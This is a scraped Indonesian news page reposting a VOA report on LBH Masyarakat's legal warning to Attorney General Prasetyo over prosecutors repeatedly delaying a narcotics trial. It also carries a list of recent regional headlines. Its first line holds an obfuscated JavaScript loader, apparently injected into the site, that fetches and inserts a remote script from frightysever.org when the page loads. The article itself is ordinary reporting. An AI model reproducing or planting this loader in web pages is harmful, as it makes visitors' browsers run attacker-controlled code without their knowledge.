(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
VOA

Soroti Perilaku Jaksa, LBH Masyarakat Somasi Jaksa Agung


JAKARTA, Jaksa Agung Prasetyo diminta menghentikan perilaku sejumlah jaksa yang sewenang-wenang dan tidak profesional. Lembaga Bantuan Hukum (LBH) Masyarakat mensomasi Jaksa Agung Prasetyo karena jaksa yang menangani kasus kliennya yakni Sadikin Arifin di Pengadilan Negeri Jakarta Utara, bertindak sewenang-wenang. Dalam kasus ini, Sadikin dituduh terlibat peredaran gelap narkotika bersama seorang warga negara asing yang ditembak mati petugas Badan Narkotika Nasional (BNN).

Namun, menurut Pengacara Publik LBH Masyarakat, Ma’ruf Bajammal, jaksa terus menunda persidangan hingga keenam kalinya tanpa alasan yang berdasar hukum. Akibat penundaan tersebut sidang pembacaan tuntutan belum dilakukan.

Pengacara Publik LBH Masyarakat, Ma’ruf Bajammal mengatakan, lembaganya akan melakukan upaya hukum lanjutan jika jaksa belum juga membacakan tuntutan pada sidang lanjutan pada hari Kamis (22 November 2018).

“Kita masih mempertimbangkan misalkan membuat gugatan perbuatan melawan hukum, jaksa penuntut umum yang menunda dan mengulur waktu surat penuntutan. Karena ini jelas, menimbulkan ketidakpastian terhadap klien kami. Itu sungguh sangat merugikan, karena setiap orang kan dijamin untuk mendapat kepastian hukum dan perlakuan yang adil,” jelas Ma’ruf Bajammal di Jakarta, Senin (19/11).

Ma’ruf menambahkan jaksa juga tidak serius dalam melakukan tugas penuntutan. Sebab, kata dia, jaksa secara eksplisit menyatakan tidak sanggup menghadirkan bukti rekaman percakapan di persidangan. Padahal bukti tersebut penting karena menyangkut pembuktian perkara yang dituduhkan ke Sadikin Arifin.

Di samping itu, perilaku jaksa yang terus menunda persidangan, bertentangan dengan Pasal 50 KUHAP yang dalam penjelasannya mengamanatkan seorang terduga pelaku pidana memiliki hak untuk tidak dibuat terkatung-katung nasibnya terutama yang dikenakan penahanan. Sementara dalam pasal 74 UU Nomor 35 Tahun 2009 tentang Narkotika telah memandatkan perkara narkotika adalah perkara yang didahulukan untuk penyelesaiannya.

Dari kiri ke kanan : Raynov Gultom (Peneliti Reprieve), Ma’ruf Bajammal (pengacara publik LBH Masyarakat), Joshua Collins (peneliti Mappi FHUI). Foto :VOA/Ahmad Bhagaskoro

Turut menambahkan, Masyarakat Pemantau Peradilan Indonesia Fakultas Hukum Universitas Indonesia (MaPPI FHUI) kasus serupa juga terjadi pada Baiq Nuril yang divonis bersalah Mahkamah Agung dalam kasus UU ITE. Sebab dalam kasus Baiq, juga tidak ada barang bukti berupa ponsel dan rekaman percakapan asli yang dihadirkan jaksa ke persidangan.

“Kita menyayangkan ini terjadi di PN yang ada di Jakarta. Ini di Jakarta saja seperti ini, apalagi di daerah. Sebenarnya beberapa temuan kami, ada di kasus-kasus serupa lain. Seperti JPU yang tidak siap dengan tuntutan, juga terjadi di kasus lainnya,” tutur Joshua.

Joshua menjelaskan sejumlah temuan pelanggaran tersebut sudah masuk kategori indisipliner. Karena itu, kata dia, kejaksaan agung ataupun komisi kejaksaan sudah dapat memberikan sanksi kepada jaksa yang melakukan pelanggaran tersebut.

VOA Indonesia sudah berusaha melakukan konfirmasi ke Jaksa Agung Prasetyo atas somasi yang dilayangkan LBH Masyarakat. Namun, hingga berita ini diturunkan belum ada jawaban dari Prasetyo. (ab/jm/voa/kk)

Reporter : Ab/jm/voa/kk
Editor : KK

Desy Arfianty

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

21 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

2 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

2 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 hari ago

This website uses cookies.